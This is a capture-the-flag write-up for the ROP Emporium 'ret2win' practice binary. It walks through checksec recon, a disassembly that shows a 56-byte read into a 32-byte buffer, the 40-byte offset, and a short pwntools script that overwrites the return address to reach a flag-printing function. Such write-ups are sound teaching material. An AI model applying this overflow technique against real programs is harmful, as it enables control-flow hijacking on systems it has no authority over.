ROP Emporium: ret2win

Classic buffer overflow exploiting a vulnerable read() to redirect execution to a win function

contents

#Challenge Info

Basic ret2win style challenge - overflow a buffer to redirect program execution to a function that prints the flag.

#Recon

$ file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped

64-bit executable, dynamically linked, not stripped - symbols will be available for analysis.

pwndbg> checksec
File:     ret2win
Arch:     amd64
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No

Key takeaways:

  • No stack canary - buffer overflow won't be detected
  • NX enabled - can't execute shellcode on the stack
  • No PIE - addresses are fixed, no ASLR on the binary

#Finding the Target

pwndbg> info functions
0x0000000000400697  main
0x00000000004006e8  pwnme
0x0000000000400756  ret2win

Three functions of interest: main, pwnme, and conveniently named ret2win at 0x400756.

#Vulnerability Analysis

pwndbg> disass pwnme
Dump of assembler code for function pwnme:
   0x00000000004006e8 <+0>:     push   rbp
   0x00000000004006e9 <+1>:     mov    rbp,rsp
   0x00000000004006ec <+4>:     sub    rsp,0x20
   ...
   0x0000000000400733 <+75>:    lea    rax,[rbp-0x20]
   0x0000000000400737 <+79>:    mov    edx,0x38
   0x000000000040073c <+84>:    mov    rsi,rax
   0x000000000040073f <+87>:    mov    edi,0x0
   0x0000000000400744 <+92>:    call   0x400590 <read@plt>
   ...
End of assembler dump.

The vulnerability is clear - classic buffer overflow pattern:

Safe Pattern Unsafe Pattern (This Binary)
sub rsp,0x20 (allocate 32 bytes) sub rsp,0x20 (allocate 32 bytes)
lea rax,[rbp-0x20] (point to buffer) lea rax,[rbp-0x20] (point to buffer)
mov edx,0x20 (read 32 bytes) mov edx,0x38 (read 56 bytes)

The program allocates 32 bytes but reads 56 bytes - that's 24 bytes of overflow, enough to overwrite the saved RBP (8 bytes) and return address (8 bytes).

#Calculating the Offset

Stack layout at pwnme:

[buffer: 32 bytes] [saved RBP: 8 bytes] [return address: 8 bytes]
         ^
      rbp-0x20

Offset to return address: 32 + 8 = 40 bytes

#Exploitation

The exploit is straightforward:

  1. Send 40 bytes of padding to reach the return address
  2. Overwrite return address with ret2win function address
from pwn import *

p = process('./ret2win')

payload = b'A' * 40
payload += p64(0x400756)  # ret2win address

p.sendline(payload)
p.interactive()

When pwnme executes ret, it pops our crafted address into RIP and jumps to ret2win, which prints the flag.